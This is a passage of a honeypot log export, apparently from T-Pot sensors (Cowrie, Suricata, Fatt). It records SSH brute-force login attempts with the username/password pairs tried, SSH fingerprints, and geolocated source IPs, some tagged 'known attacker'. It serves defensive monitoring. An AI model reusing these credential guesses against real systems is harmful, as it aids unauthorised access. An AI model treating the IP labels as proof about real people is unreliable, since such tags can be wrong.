"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25382	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:57.104137+03	2021-09-20 14:15:10.056502+03	{"_id": "gAblAnwBvYTbRNuE9RrG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "c79cb9bc0850", "@version": "1", "duration": 3.9486303329467773, "timestamp": "2021-09-20T11:09:57.104137Z", "@timestamp": "2021-09-20T11:09:57.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25383	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:57.303313+03	2021-09-20 14:15:10.0575+03	{"_id": "gQblAnwBvYTbRNuE9RrG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [john/john] failed", "session": "bede61a424ae", "@version": "1", "password": "john", "username": "john", "timestamp": "2021-09-20T11:09:57.303313Z", "@timestamp": "2021-09-20T11:09:57.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25384	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:57.381587+03	2021-09-20 14:15:10.059507+03	{"_id": "ggblAnwBvYTbRNuE9RrG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [git1/git1] failed", "session": "d318cd4229d8", "@version": "1", "password": "git1", "username": "git1", "timestamp": "2021-09-20T11:09:57.381587Z", "@timestamp": "2021-09-20T11:09:57.381Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25385	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:58.231753+03	2021-09-20 14:15:10.060505+03	{"_id": "gwblAnwBvYTbRNuE-Rqt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [tushar/tushar123] failed", "session": "cd6d8aabb211", "@version": "1", "password": "tushar123", "username": "tushar", "timestamp": "2021-09-20T11:09:58.231753Z", "@timestamp": "2021-09-20T11:09:58.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25386	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:58.110452+03	2021-09-20 14:15:10.0625+03	{"_id": "iQblAnwBvYTbRNuE-Rqz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ftp/tp123] failed", "session": "d021f09eb494", "@version": "1", "password": "tp123", "username": "ftp", "timestamp": "2021-09-20T11:09:58.110452Z", "@timestamp": "2021-09-20T11:09:58.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25387	132.148.165.94	109.199.241.180	Suricata	2021-09-20 14:09:58.667539+03	2021-09-20 14:15:10.0645+03	{"_id": "igblAnwBvYTbRNuE-xrz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "132.148.165.94", "dest_ip": "192.168.20.116", "flow_id": 447041335893518, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57682, "dest_port": 22, "timestamp": "2021-09-20T11:09:58.667539Z", "@timestamp": "2021-09-20T11:09:58.667Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25388	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:59.105719+03	2021-09-20 14:15:10.0655+03	{"_id": "jQblAnwBvYTbRNuE_RoH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33018, "timestamp": "2021-09-20T11:09:59.105719", "@timestamp": "2021-09-20T11:09:59.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25389	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:09:55.435221+03	2021-09-20 14:15:10.066499+03	{"_id": "UAblAnwBvYTbRNuE7Rr6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a39d45c8167c", "@version": "1", "timestamp": "2021-09-20T11:09:55.435221Z", "@timestamp": "2021-09-20T11:09:55.435Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25390	118.70.233.117	109.199.241.180	Suricata	2021-09-20 14:09:55.434807+03	2021-09-20 14:15:10.068499+03	{"_id": "WAblAnwBvYTbRNuE8Bo5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "118.70.233.117", "dest_ip": "192.168.20.116", "flow_id": 427280191132923, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35834, "dest_port": 22, "timestamp": "2021-09-20T11:09:55.434807Z", "@timestamp": "2021-09-20T11:09:55.434Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25391	118.70.233.117	109.199.241.180	Fatt	2021-09-20 14:09:55.434851+03	2021-09-20 14:15:10.0695+03	{"_id": "XQblAnwBvYTbRNuE8RpN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "118.70.233.117", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35834, "dest_port": 22, "timestamp": "2021-09-20T11:09:55.434851", "@timestamp": "2021-09-20T11:09:55.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25392	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:55.888281+03	2021-09-20 14:15:10.071499+03	{"_id": "YQblAnwBvYTbRNuE8RpO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33762, "dest_port": 22, "timestamp": "2021-09-20T11:09:55.888281", "@timestamp": "2021-09-20T11:09:55.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25393	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:55.222048+03	2021-09-20 14:15:10.0725+03	{"_id": "XwblAnwBvYTbRNuE8RpO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "118.70.233.117", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35834, "timestamp": "2021-09-20T11:09:55.222048", "@timestamp": "2021-09-20T11:09:55.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25394	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:55.89635+03	2021-09-20 14:15:10.0755+03	{"_id": "YAblAnwBvYTbRNuE8RpO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50638, "timestamp": "2021-09-20T11:09:55.896350", "@timestamp": "2021-09-20T11:09:55.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25395	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:55.511685+03	2021-09-20 14:15:10.076502+03	{"_id": "YgblAnwBvYTbRNuE8Rrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 